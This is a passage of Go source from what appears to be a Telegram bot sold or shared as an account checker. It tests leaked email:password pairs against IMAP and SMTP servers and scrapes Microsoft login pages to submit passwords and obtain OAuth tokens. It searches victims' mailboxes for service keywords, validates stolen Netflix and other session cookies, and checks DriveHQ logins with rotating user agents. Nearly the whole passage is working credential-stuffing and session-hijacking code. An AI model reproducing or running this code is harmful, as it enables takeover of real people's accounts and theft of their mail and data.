		pendingLk.Unlock()
	}
}
func checkJoinAll(uid int64) (bool, []JoinChat) {
	if isAdmin(uid) { return true, nil }
	var missing []JoinChat
	for _, c := range joinChats { if !isMember(c.ID, uid) { missing = append(missing, c) } }
	return len(missing) == 0, missing
}
func joinPrompt(missing []JoinChat) string {
	lines := []string{crownHeader(), "<b>" + boldSans("JOIN REQUIRED") + "</b>", "",
		"<i>" + sc("to use this bot, join the following") + ":</i>", ""}
	for _, c := range missing { lines = append(lines, em(c.EmojiKey)+" <b>"+c.Title+"</b>") }
	return strings.Join(lines, "\n")
}
func joinKB(missing []JoinChat, uid int64) map[string]any {
	rows := [][]map[string]any{}
	for _, c := range missing {
		rows = append(rows, []map[string]any{{"text": "ᴊᴏɪɴ " + c.Title, "url": c.Link}})
	}
	rows = append(rows, []map[string]any{{"text": "ᴄʜᴇᴄᴋ ᴀɢᴀɪɴ", "callback_data": fmt.Sprintf("joincheck:%d", uid)}})
	return map[string]any{"inline_keyboard": rows}
}

// ---- IMAP ----
type IMAPConn struct {
	conn net.Conn
	r    *bufio.Reader
	tag  int
}
func dialIMAP(host string, t time.Duration) (*IMAPConn, error) {
	d := &net.Dialer{Timeout: t}
	conn, err := tls.DialWithDialer(d, "tcp", host+":993", &tls.Config{InsecureSkipVerify: true})
	if err != nil { return nil, err }
	r := bufio.NewReader(conn)
	conn.SetReadDeadline(time.Now().Add(t))
	g, err := r.ReadString('\n')
	if err != nil || !strings.HasPrefix(g, "* OK") { conn.Close(); return nil, fmt.Errorf("greet") }
	return &IMAPConn{conn: conn, r: r}, nil
}
func (c *IMAPConn) cmd(cmd string, t time.Duration) (string, error) {
	c.tag++
	tag := fmt.Sprintf("T%04d", c.tag)
	c.conn.SetWriteDeadline(time.Now().Add(t))
	if _, err := fmt.Fprintf(c.conn, "%s %s\r\n", tag, cmd); err != nil { return "", err }
	var sb strings.Builder
	dl := time.Now().Add(t)
	for {
		c.conn.SetReadDeadline(dl)
		line, err := c.r.ReadString('\n')
		if err != nil { return sb.String(), err }
		if sb.Len() < FetchByteCap { sb.WriteString(line) }
		if strings.HasPrefix(line, tag+" ") { return sb.String(), nil }
	}
}
func imapQuote(s string) string {
	s = strings.ReplaceAll(s, `\`, `\\`)
	s = strings.ReplaceAll(s, `"`, `\"`)
	return `"` + s + `"`
}
var tagOKRe = regexp.MustCompile(`T\d+ OK`)
func (c *IMAPConn) login(email, pass string) error {
	resp, err := c.cmd("LOGIN "+imapQuote(email)+" "+imapQuote(pass), 10*time.Second)
	if err != nil { return err }
	if !tagOKRe.MatchString(resp) { return fmt.Errorf("login") }
	return nil
}
func (c *IMAPConn) selectFolder(name string) error {
	resp, err := c.cmd("SELECT "+imapQuote(name), 8*time.Second)
	if err != nil { return err }
	if !tagOKRe.MatchString(resp) { return fmt.Errorf("sel") }
	return nil
}
func (c *IMAPConn) searchAll() ([]int, error) {
	resp, err := c.cmd("SEARCH ALL", 8*time.Second)
	if err != nil { return nil, err }
	var ids []int
	for _, line := range strings.Split(resp, "\n") {
		line = strings.TrimSpace(line)
		if strings.HasPrefix(line, "* SEARCH") {
			for _, p := range strings.Fields(line)[2:] {
				if n, err := strconv.Atoi(p); err == nil { ids = append(ids, n) }
			}
		}
	}
	return ids, nil
}
func (c *IMAPConn) fetchPart(msgID int, part string) (string, error) {
	c.tag++
	tag := fmt.Sprintf("T%04d", c.tag)
	c.conn.SetWriteDeadline(time.Now().Add(10 * time.Second))
	if _, err := fmt.Fprintf(c.conn, "%s FETCH %d %s\r\n", tag, msgID, part); err != nil { return "", err }
	var sb strings.Builder
	dl := time.Now().Add(10 * time.Second)
	for {
		c.conn.SetReadDeadline(dl)
		line, err := c.r.ReadString('\n')
		if err != nil { return sb.String(), err }
		if sb.Len() < FetchByteCap { sb.WriteString(line) }
		if strings.HasPrefix(line, tag+" ") { return sb.String(), nil }
	}
}
func (c *IMAPConn) fetchParts(msgID int) (string, error) {
	if resp, err := c.fetchPart(msgID, "BODY.PEEK[HEADER.FIELDS (FROM SUBJECT TO)] BODY.PEEK[TEXT]<0.65536>"); err == nil && len(resp) > 40 {
		return resp, nil
	}
	return c.fetchPart(msgID, "BODY.PEEK[HEADER.FIELDS (FROM SUBJECT TO)] BODY.PEEK[TEXT]")
}
func (c *IMAPConn) logout() { c.cmd("LOGOUT", 3*time.Second); c.conn.Close() }

var (
	dnsCache   = map[string]string{}
	dnsCacheT  = map[string]time.Time{}
	smtpHostCa = map[string]*hostPort{}
	smtpHostT  = map[string]time.Time{}
	cacheLock  sync.Mutex
)
type hostPort struct{ Host string; Port int }
const cacheTTL = 30 * time.Minute
func detectImapHost(domain string) string {
	cacheLock.Lock()
	if h, ok := dnsCache[domain]; ok && time.Since(dnsCacheT[domain]) < cacheTTL { cacheLock.Unlock(); return h }
	cacheLock.Unlock()
	for _, h := range []string{"imap." + domain, "mail." + domain, "imap-mail." + domain} {
		if _, err := net.LookupHost(h); err == nil {
			cacheLock.Lock(); dnsCache[domain] = h; dnsCacheT[domain] = time.Now(); cacheLock.Unlock()
			return h
		}
	}
	fb := "imap." + domain
	cacheLock.Lock(); dnsCache[domain] = fb; dnsCacheT[domain] = time.Now(); cacheLock.Unlock()
	return fb
}
func mxHosts(d string) []string {
	mxs, err := net.LookupMX(d)
	if err != nil || len(mxs) == 0 { return nil }
	sort.Slice(mxs, func(i, j int) bool { return mxs[i].Pref < mxs[j].Pref })
	out := make([]string, len(mxs))
	for i, mx := range mxs { out[i] = strings.TrimSuffix(mx.Host, ".") }
	return out
}
func probeSmtpHost(d string) *hostPort {
	cacheLock.Lock()
	if hp, ok := smtpHostCa[d]; ok && time.Since(smtpHostT[d]) < cacheTTL { cacheLock.Unlock(); return hp }
	cacheLock.Unlock()
	// overall hard deadline so a slow domain can never eat the worker budget
	deadline := time.Now().Add(5 * time.Second)
	hosts := append([]string{}, mxHosts(d)...)
	for _, p := range []string{"smtp.", "mail.", ""} { hosts = append(hosts, p+d) }
	seen := map[string]bool{}
	var ordered []string
	for _, h := range hosts { if h != "" && !seen[h] { seen[h] = true; ordered = append(ordered, h) } }
	var w *hostPort
	for _, h := range ordered {
		if w != nil { break }
		if time.Now().After(deadline) { break }
		for _, port := range []int{587, 465, 25} {
			if time.Now().After(deadline) { break }
			conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", h, port), SmtpProbeTimeout)
			if err == nil { conn.Close(); w = &hostPort{Host: h, Port: port}; break }
		}
	}
	if w != nil { cacheLock.Lock(); smtpHostCa[d] = w; smtpHostT[d] = time.Now(); cacheLock.Unlock() }
	return w
}
func trySmtpAuth(host string, port int, email, pass string) bool {
	addr := fmt.Sprintf("%s:%d", host, port)
	if port == 465 {
		d := &net.Dialer{Timeout: SmtpTimeout}
		conn, err := tls.DialWithDialer(d, "tcp", addr, &tls.Config{ServerName: host, InsecureSkipVerify: true})
		if err != nil { return false }
		c, err := smtp.NewClient(conn, host)
		if err != nil { conn.Close(); return false }
		defer c.Close()
		return c.Auth(smtp.PlainAuth("", email, pass, host)) == nil
	}
	conn, err := net.DialTimeout("tcp", addr, SmtpTimeout)
	if err != nil { return false }
	c, err := smtp.NewClient(conn, host)
	if err != nil { conn.Close(); return false }
	defer c.Close()
	if ok, _ := c.Extension("STARTTLS"); ok {
		if err := c.StartTLS(&tls.Config{ServerName: host, InsecureSkipVerify: true}); err != nil { return false }
	}
	return c.Auth(smtp.PlainAuth("", email, pass, host)) == nil
}
func smtpCheck(email, pass string) (string, int, bool) {
	at := strings.LastIndex(email, "@")
	if at < 0 { return "", 0, false }
	hp := probeSmtpHost(strings.ToLower(email[at+1:]))
	if hp == nil { return "", 0, false }
	if trySmtpAuth(hp.Host, hp.Port, email, pass) { return hp.Host, hp.Port, true }
	return "", 0, false
}
func (c *IMAPConn) scanFolder(name string) (map[string]bool, int) {
	found := map[string]bool{}
	if err := c.selectFolder(name); err != nil { return found, 0 }
	ids, err := c.searchAll()
	if err != nil || len(ids) == 0 { return found, 0 }
	start := 0
	if len(ids) > FetchMaxIDs { start = len(ids) - FetchMaxIDs }
	scanned := 0
	for i := len(ids) - 1; i >= start; i-- {
		raw, err := c.fetchParts(ids[i])
		if err != nil { continue }
		scanned++
		if svc, s := scanMessage(raw); svc != "" && s >= 1 {
			found[svc] = true
			return found, scanned
		}
	}
	return found, scanned
}
func imapCheck(email, pass string) (string, string, string) {
	parts := strings.SplitN(email, "@", 2)
	if len(parts) != 2 { return "bad", "", "" }
	domain := strings.ToLower(parts[1])
	host := detectImapHost(domain)
	var c *IMAPConn
	var err error
	for a := 0; a < 2; a++ {
		c, err = dialIMAP(host, ImapTimeout)
		if err == nil { break }
		if a == 0 { time.Sleep(400 * time.Millisecond) }
	}
	if err != nil { return "bad", "", "" }
	defer c.logout()
	if err := c.login(email, pass); err != nil { return "bad", "", "" }

	found, scanned := c.scanFolder("INBOX")
	if len(found) == 0 {
		for _, f := range []string{"Sent", "Sent Items", "Sent Messages"} {
			ff, fs := c.scanFolder(f)
			scanned += fs
			for k := range ff { found[k] = true }
			if len(found) > 0 { break }
		}
	}
	if scanned == 0 { return "smtp", "", host }
	if len(found) == 0 { return "smtp", "", host }
	for _, n := range serviceOrder { if found[n] { return "good", n, host } }
	return "good", "", host
}

type ComboResult struct {
	Status   string
	Service  string
	ImapHost string
	SmtpHost string
	SmtpPort int
}
func checkComboSync(combo string) ComboResult {
	out := ComboResult{Status: "bad"}
	i := strings.Index(combo, ":")
	if i < 0 { return out }
	email := strings.TrimSpace(combo[:i])
	pass := strings.TrimSpace(combo[i+1:])
	if !strings.Contains(email, "@") || pass == "" { return out }
	st, svc, ih := imapCheck(email, pass)
	out.Status = st; out.Service = svc; out.ImapHost = ih
	if st == "good" || st == "smtp" {
		h, p, ok := smtpCheck(email, pass)
		if ok { out.SmtpHost = h; out.SmtpPort = p }
	}
	return out
}

// ---- HOTMAIL (no country) ----
type HotmailResult struct {
	Status   string
	Token    string
	Found    []string
	TotalHit int
	Email    string
	Password string
}
const sFTTagURL = "https://login.live.com/oauth20_authorize.srf?client_id=00000000402B5328&redirect_uri=https://login.live.com/oauth20_desktop.srf&scope=service::user.auth.xboxlive.com::MBI_SSL&display=touch&response_type=token&locale=en"
var (
	rePPFTesc   = regexp.MustCompile(`(?s)value=\\"(.+?)\\"`)
	rePPFTplain = regexp.MustCompile(`(?s)value="(.+?)"`)
	rePPFTjs1   = regexp.MustCompile(`(?s)sFTTag:'(.+?)'`)
	rePPFTjs2   = regexp.MustCompile(`(?s)sFTTag:"(.+?)"`)
	rePPFTinput = regexp.MustCompile(`(?s)name="PPFT".*?value="(.+?)"`)
	reURLPost1  = regexp.MustCompile(`"urlPost":"(.+?)"`)
	reURLPost2  = regexp.MustCompile(`urlPost:'(.+?)'`)
	reURLPost3  = regexp.MustCompile(`urlPost:"(.+?)"`)
	reFormAct   = regexp.MustCompile(`(?s)<form.*?action="(.+?)"`)
	reIPT       = regexp.MustCompile(`(?i)"ipt"[^>]*?value="(.+?)"`)
	rePPRID     = regexp.MustCompile(`(?i)"pprid"[^>]*?value="(.+?)"`)
	reUAID      = regexp.MustCompile(`(?i)"uaid"[^>]*?value="(.+?)"`)
	reAction    = regexp.MustCompile(`(?i)id="fmHF"\s+action="(.+?)"`)
	reReturn    = regexp.MustCompile(`(?s)"recoveryCancel":\s*\{\s*"returnUrl":\s*"(.+?)"`)
)
func match1(re *regexp.Regexp, s string) string {
	m := re.FindStringSubmatch(s); if len(m) > 1 { return m[1] }
	return ""
}
func hotmailFetchPPFT(c *http.Client) (string, string) {
	for i := 0; i < 3; i++ {
		req, _ := http.NewRequest("GET", sFTTagURL, nil)
		req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0")
		req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
		resp, err := c.Do(req)
		if err != nil { time.Sleep(500 * time.Millisecond); continue }
		body, _ := io.ReadAll(resp.Body); resp.Body.Close()
		text := string(body)
		sft := match1(rePPFTesc, text)
		if sft == "" { sft = match1(rePPFTplain, text) }
		if sft == "" { sft = match1(rePPFTjs1, text) }
		if sft == "" { sft = match1(rePPFTjs2, text) }
		if sft == "" { sft = match1(rePPFTinput, text) }
		if sft == "" { time.Sleep(500 * time.Millisecond); continue }
		urlPost := match1(reURLPost1, text)
		if urlPost == "" { urlPost = match1(reURLPost2, text) }
		if urlPost == "" { urlPost = match1(reURLPost3, text) }
		if urlPost == "" { urlPost = match1(reFormAct, text) }
		if urlPost != "" { return strings.ReplaceAll(urlPost, "&amp;", "&"), sft }
		time.Sleep(500 * time.Millisecond)
	}
	return "", ""
}
func extractTokenFromURL(u string) string {
	parsed, err := url.Parse(u); if err != nil { return "" }
	v, err := url.ParseQuery(parsed.Fragment); if err != nil { return "" }
	return v.Get("access_token")
}
func hotmailSubmit(c *http.Client, urlPost, sft, email, pass string) (string, string) {
	form := url.Values{}
	form.Set("login", email); form.Set("loginfmt", email); form.Set("passwd", pass); form.Set("PPFT", sft)
	for i := 0; i < 3; i++ {
		req, _ := http.NewRequest("POST", urlPost, strings.NewReader(form.Encode()))
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36")
		req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
		resp, err := c.Do(req)
		if err != nil { time.Sleep(500 * time.Millisecond); continue }
		body, _ := io.ReadAll(resp.Body); resp.Body.Close()
		finalURL := resp.Request.URL.String()
		text := string(body)
		if strings.Contains(finalURL, "#") && finalURL != sFTTagURL {
			if t := extractTokenFromURL(finalURL); t != "" { return "SUCCESS", t }
		}
		if strings.Contains(text, "cancel?mkt=") {
			ipt := match1(reIPT, text); pprid := match1(rePPRID, text)
			uaid := match1(reUAID, text); action := match1(reAction, text)
			if ipt != "" && pprid != "" && uaid != "" && action != "" {
				d := url.Values{"ipt": {ipt}, "pprid": {pprid}, "uaid": {uaid}}
				r2, err := c.PostForm(action, d)
				if err == nil {
					b2, _ := io.ReadAll(r2.Body); r2.Body.Close()
					ru := match1(reReturn, string(b2))
					if ru != "" {
						r3, err := c.Get(ru)
						if err == nil {
							io.Copy(io.Discard, r3.Body)
							final := r3.Request.URL.String()
							r3.Body.Close()
							if t := extractTokenFromURL(final); t != "" { return "SUCCESS", t }
						}
					}
				}
			}
		}
		low := strings.ToLower(text)
		for _, m := range []string{"recover?mkt", "account.live.com/identity/confirm?mkt", "email/confirm?mkt", "/abuse?mkt="} {
			if strings.Contains(low, m) { return "2FA", "" }
		}
		for _, m := range []string{"password is incorrect", "account doesn't exist", "that microsoft account doesn't exist", "sign in to your microsoft account", "tried to sign in too many times with an incorrect account or password", "help us protect your account"} {
			if strings.Contains(low, m) { return "BAD", "" }
		}
		time.Sleep(500 * time.Millisecond)
	}
	return "BAD", ""
}
func graphGet(c *http.Client, token, path string) (int, []byte) {
	req, _ := http.NewRequest("GET", GraphBase+path, nil)
	req.Header.Set("Authorization", "Bearer "+token)
	req.Header.Set("Accept", "application/json")
	resp, err := c.Do(req); if err != nil { return 0, nil }
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)
	return resp.StatusCode, body
}
func graphSearchCount(c *http.Client, token, query string, top int) int {
	u := GraphBase + "/me/messages?$search=" + url.QueryEscape(`"`+query+`"`) +
		"&$top=" + strconv.Itoa(top) + "&$count=true&$select=subject,from,receivedDateTime"
	req, _ := http.NewRequest("GET", u, nil)
	req.Header.Set("Authorization", "Bearer "+token)
	req.Header.Set("Accept", "application/json")
	req.Header.Set("ConsistencyLevel", "eventual")
	resp, err := c.Do(req); if err != nil { return 0 }
	defer resp.Body.Close()
	if resp.StatusCode != 200 { return 0 }
	var data map[string]any
	json.NewDecoder(resp.Body).Decode(&data)
	if cnt, ok := data["@odata.count"].(float64); ok { return int(cnt) }
	if items, ok := data["value"].([]any); ok { return len(items) }
	return 0
}
func graphToken(c *http.Client, email string) string {
	cid := "0000000048170EF2"
	for _, scope := range []string{"https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/User.Read", "https://graph.microsoft.com/Mail.Read"} {
		u := "https://login.live.com/oauth20_authorize.srf?client_id=" + cid +
			"&response_type=token&scope=" + url.QueryEscape(scope) +
			"&redirect_uri=" + url.QueryEscape("https://login.live.com/oauth20_desktop.srf") +
			"&prompt=none&login_hint=" + url.QueryEscape(email) + "&mkt=en-US"
		resp, err := c.Get(u); if err != nil { continue }
		io.Copy(io.Discard, resp.Body)
		final := resp.Request.URL.String()
		resp.Body.Close()
		if t := extractTokenFromURL(final); t != "" { return t }
	}
	return ""
}
func hotmailCheckSync(combo string, keywords []string) HotmailResult {
	out := HotmailResult{Status: "BAD"}
	i := strings.Index(combo, ":")
	if i < 0 { return out }
	email := strings.TrimSpace(combo[:i])
	pass := strings.TrimSpace(combo[i+1:])
	if !strings.Contains(email, "@") || pass == "" { return out }
	out.Email = email
	out.Password = pass
	jar, _ := cookiejar.New(nil)
	cl := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConns: 10, MaxIdleConnsPerHost: 10, IdleConnTimeout: 60 * time.Second},
		Jar:       jar,
		Timeout:   30 * time.Second,
	}
	urlPost, sft := hotmailFetchPPFT(cl)
	if urlPost == "" || sft == "" { return out }
	status, tok := hotmailSubmit(cl, urlPost, sft, email, pass)
	out.Status = status
	if status != "SUCCESS" { return out }
	mailTok := ""
	if tok != "" { if code, _ := graphGet(cl, tok, "/me"); code == 200 { mailTok = tok } }
	if mailTok == "" { mailTok = graphToken(cl, email) }
	if mailTok == "" { return out }
	out.Token = mailTok
	total := 0
	for _, kw := range keywords {
		cnt := graphSearchCount(cl, mailTok, kw, 100)
		if cnt == 0 { cnt = graphSearchCount(cl, mailTok, "subject:"+kw, 100) }
		if cnt > 0 { total += cnt; out.Found = append(out.Found, fmt.Sprintf("%s:%d", kw, cnt)) }
	}
	out.TotalHit = total
	return out
}

// ---- NETFLIX ----
type NetflixResult struct {
	Status  string
	Country string
	Plan    string
	Cookie  string
}
var (
	nfxReCountry = regexp.MustCompile(`"countryOfSignup"\s*:\s*"([A-Z]{2})"`)
	nfxRePlan1   = regexp.MustCompile(`"currentPlan"\s*:\s*\{[^}]*"name"\s*:\s*"([^"]+)"`)
	nfxRePlan2   = regexp.MustCompile(`"planName"\s*:\s*"([^"]+)"`)
	nfxReID1     = regexp.MustCompile(`(?:^|[;\s])NetflixId=([^;\s"']+)`)
	nfxReID2     = regexp.MustCompile(`(?:^|[;\s])SecureNetflixId=([^;\s"']+)`)
)
func normalizeNetflixCookie(raw string) string {
	raw = strings.TrimSpace(raw); if raw == "" { return "" }
	raw = strings.Trim(raw, `"'`)
	raw = strings.TrimPrefix(raw, "Cookie:")
	raw = strings.TrimPrefix(raw, "cookie:")
	raw = strings.TrimSpace(raw)
	norm := strings.NewReplacer("\n", ";", "\t", ";", "\r", ";").Replace(raw)
	var id, sid string
	if m := nfxReID1.FindStringSubmatch(norm); len(m) > 1 { id = m[1] }
	if m := nfxReID2.FindStringSubmatch(norm); len(m) > 1 { sid = m[1] }
	if id == "" && sid == "" {
		var j map[string]any
		if err := json.Unmarshal([]byte(raw), &j); err == nil {
			if v, ok := j["NetflixId"].(string); ok { id = v }
			if v, ok := j["SecureNetflixId"].(string); ok { sid = v }
		}
	}
	if id == "" && sid == "" { return "" }
	if id != "" && sid != "" { return "NetflixId=" + id + "; SecureNetflixId=" + sid }
	if id != "" { return "NetflixId=" + id }
	return "SecureNetflixId=" + sid
}
func netflixCheck(combo string) NetflixResult {
	out := NetflixResult{Status: "BAD"}
	cookie := normalizeNetflixCookie(combo)
	if cookie == "" { return out }
	out.Cookie = cookie
	cl := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConns: 10, MaxIdleConnsPerHost: 10, IdleConnTimeout: 60 * time.Second},
		Timeout:   15 * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
	}
	ua := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
	var lastErr error
	for a := 0; a < 2; a++ {
		req, _ := http.NewRequest("GET", NetflixURL, nil)
		req.Header.Set("User-Agent", ua)
		req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
		req.Header.Set("Cookie", cookie)
		resp, err := cl.Do(req)
		if err != nil { lastErr = err; time.Sleep(300 * time.Millisecond); continue }
		body, _ := io.ReadAll(resp.Body); resp.Body.Close()
		loc := resp.Header.Get("Location")
		if resp.StatusCode == 200 && !strings.Contains(loc, "/login") {
			html := string(body)
			if m := nfxReCountry.FindStringSubmatch(html); len(m) > 1 { out.Country = m[1] }
			if m := nfxRePlan1.FindStringSubmatch(html); len(m) > 1 { out.Plan = m[1] } else if m := nfxRePlan2.FindStringSubmatch(html); len(m) > 1 { out.Plan = m[1] }
			if out.Country == "" { out.Country = "Unknown" }
			if out.Plan == "" { out.Plan = "unknown" }
			out.Status = "HIT"
			return out
		}
		if resp.StatusCode == 403 { lastErr = fmt.Errorf("403"); time.Sleep(400 * time.Millisecond); continue }
		return out
	}
	if lastErr != nil { out.Status = "ERROR" }
	return out
}

// ---- GENERIC COOKIE ----
type CookieResult struct {
	Status  string
	URL     string
	Cookie  string
	Email   string
	Title   string
	Country string
}
var (
	ckEmailRe = regexp.MustCompile(`[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}`)
	ckTitleRe = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
	ckCCRe    = regexp.MustCompile(`"country(?:Code|_code|OfSignup)?"\s*:\s*"([A-Z]{2})"`)
)

// tab-aware netscape check (Netscape cookie files are TAB-separated)
func isNetscapeLine(l string) bool {
	l = strings.TrimRight(l, "\r")
	f := strings.Split(l, "\t")
	if len(f) >= 7 {
		b := strings.ToUpper(strings.TrimSpace(f[1]))
		if b == "TRUE" || b == "FALSE" { return true }
	}
	// fallback for space-normalized copies
	f2 := strings.Fields(l)
	if len(f2) >= 7 {
		b := strings.ToUpper(f2[1])
		if b == "TRUE" || b == "FALSE" { return true }
	}
	return false
}

func parseCookieLine(line string) (string, string) {
	line = strings.TrimSpace(line)
	if line == "" { return "", "" }
	lines := strings.Split(line, "\n")
	netscapeLines := 0
	for _, l := range lines {
		if isNetscapeLine(l) { netscapeLines++ }
	}
	if netscapeLines >= 1 {
		var domain string
		var pairs []string
		for _, l := range lines {
			l = strings.TrimRight(l, "\r")
			f := strings.Split(l, "\t")
			if len(f) < 7 {
				// try whitespace fallback
				ff := strings.Fields(l)
				if len(ff) < 7 { continue }
				f = ff
			}
			b := strings.ToUpper(strings.TrimSpace(f[1]))
			if b != "TRUE" && b != "FALSE" { continue }
			d := strings.TrimPrefix(strings.TrimSpace(f[0]), ".")
			if domain == "" { domain = d }
			name := strings.TrimSpace(f[5])
			val := strings.TrimSpace(strings.Join(f[6:], "\t"))
			if name != "" && val != "" { pairs = append(pairs, name+"="+val) }
		}
		if domain != "" && len(pairs) > 0 {
			return "https://" + domain + "/", strings.Join(pairs, "; ")
		}
	}
	if i := strings.Index(line, " | "); i > 0 {
		u := strings.TrimSpace(line[:i])
		c := strings.TrimSpace(line[i+3:])
		if strings.HasPrefix(u, "http") && c != "" { return u, c }
	}
	if i := strings.Index(line, "|"); i > 0 {
		u := strings.TrimSpace(line[:i])
		c := strings.TrimSpace(line[i+1:])
		if strings.HasPrefix(u, "http") && c != "" { return u, c }
	}
	if strings.HasPrefix(line, "http") {
		if i := strings.IndexAny(line, " \t"); i > 0 {
			u := strings.TrimSpace(line[:i])
			c := strings.TrimSpace(line[i+1:])
			if c != "" { return u, c }
		}
	}
	if i := strings.Index(line, " : "); i > 0 {
		u := strings.TrimSpace(line[:i])
		c := strings.TrimSpace(line[i+3:])
		if strings.HasPrefix(u, "http") && c != "" { return u, c }
	}
	return "", ""
}
func genericCookieCheck(line string) CookieResult {
	out := CookieResult{Status: "BAD"}
	if strings.Contains(line, "NetflixId=") && !strings.Contains(line, "http") {
		nf := netflixCheck(line)
		return CookieResult{Status: nf.Status, Cookie: nf.Cookie,
			URL: "https://www.netflix.com/account", Country: nf.Country, Title: nf.Plan}
	}
	targetURL, cookie := parseCookieLine(line)
	if targetURL == "" || cookie == "" { return out }
	cookie = strings.TrimSpace(strings.TrimPrefix(cookie, "Cookie:"))
	cookie = strings.TrimPrefix(cookie, "cookie:")
	cookie = strings.TrimSpace(cookie)
	out.URL = targetURL
	out.Cookie = cookie
	jar, _ := cookiejar.New(nil)
	cl := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConns: 10, MaxIdleConnsPerHost: 10, IdleConnTimeout: 60 * time.Second},
		Jar:       jar,
		Timeout:   20 * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
	}
	ua := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
	req, _ := http.NewRequest("GET", targetURL, nil)
	req.Header.Set("User-Agent", ua)
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req.Header.Set("Accept-Language", "en-US,en;q=0.9")
	req.Header.Set("Cookie", cookie)
	resp, err := cl.Do(req)
	if err != nil { out.Status = "ERROR"; return out }
	body, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
	resp.Body.Close()
	loc := resp.Header.Get("Location")
	lowLoc := strings.ToLower(loc)
	if resp.StatusCode >= 300 && resp.StatusCode < 400 {
		if strings.Contains(lowLoc, "login") || strings.Contains(lowLoc, "signin") || strings.Contains(lowLoc, "sign-in") || strings.Contains(lowLoc, "auth") {
			return out
		}
		req2, _ := http.NewRequest("GET", loc, nil)
		req2.Header.Set("User-Agent", ua)
		req2.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
		req2.Header.Set("Cookie", cookie)
		resp2, err := cl.Do(req2)
		if err != nil { return out }
		body, _ = io.ReadAll(io.LimitReader(resp2.Body, 1<<20))
		resp2.Body.Close()
		resp = resp2
	}
	if resp.StatusCode != 200 { return out }
	htmlStr := string(body)
	low := strings.ToLower(htmlStr)
	for _, m := range []string{"name=\"password\"", "name='password'", "please sign in", "please log in", "sign in to your account", "login to your account"} {
		if strings.Contains(low, m) { return out }
	}
	if m := ckTitleRe.FindStringSubmatch(htmlStr); len(m) > 1 {
		t := strings.TrimSpace(html.UnescapeString(reAnyTag.ReplaceAllString(m[1], "")))
		if len(t) > 80 { t = t[:80] }
		out.Title = t
		if strings.Contains(strings.ToLower(t), "login") || strings.Contains(strings.ToLower(t), "sign in") {
			return out
		}
	}
	if m := ckEmailRe.FindString(htmlStr); m != "" { out.Email = m }
	if m := ckCCRe.FindStringSubmatch(htmlStr); len(m) > 1 { out.Country = strings.ToUpper(m[1]) }
	if out.Country == "" {
		if u, err := url.Parse(targetURL); err == nil {
			host := strings.ToLower(u.Hostname())
			parts := strings.Split(host, ".")
			if len(parts) >= 2 {
				if cc, ok := tldCountry[parts[len(parts)-1]]; ok { out.Country = cc }
			}
		}
	}
	out.Status = "HIT"
	return out
}

// ---- DRIVEHQ ----
type DriveResult struct {
	Status     string
	ReturnCode string
	ReturnData string
	AccStatus  string
}
var (
	dhKeySuccess = "RETURN_STATUS=21"
	dhKeyFails   = []string{"RETURN_STATUSDESCR=Your username or password is incorrect.", "RETURN_STATUSDESCR=Incorrect username or password."}
	dhDisabled   = []string{"/secure/disabled.aspx?errmsgcode=expired", "/secure/disabled.aspx?errmsgcode=disabled", "/secure/disabled.aspx?errmsgcode=keylog"}
	dhUAs = []string{
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
		"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
	}
	reDhStatus = regexp.MustCompile(`RETURN_STATUS=([^\r\n&<]+)`)
	reDhData   = regexp.MustCompile(`RETURN_DATA=([^\r\n&<]+)`)
)
func drivehqCheck(combo string) DriveResult {
	out := DriveResult{Status: "FAIL"}
	i := strings.Index(combo, ":")
	if i < 0 { return out }
	user := strings.TrimSpace(combo[:i]); pass := strings.TrimSpace(combo[i+1:])
	if user == "" || pass == "" { return out }
	jar, _ := cookiejar.New(nil)
	cl := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConns: 10, MaxIdleConnsPerHost: 10, IdleConnTimeout: 60 * time.Second},
		Jar:       jar,
		Timeout:   HttpJobTimeout,
		CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
	}
	ua := dhUAs[rand.Intn(len(dhUAs))]
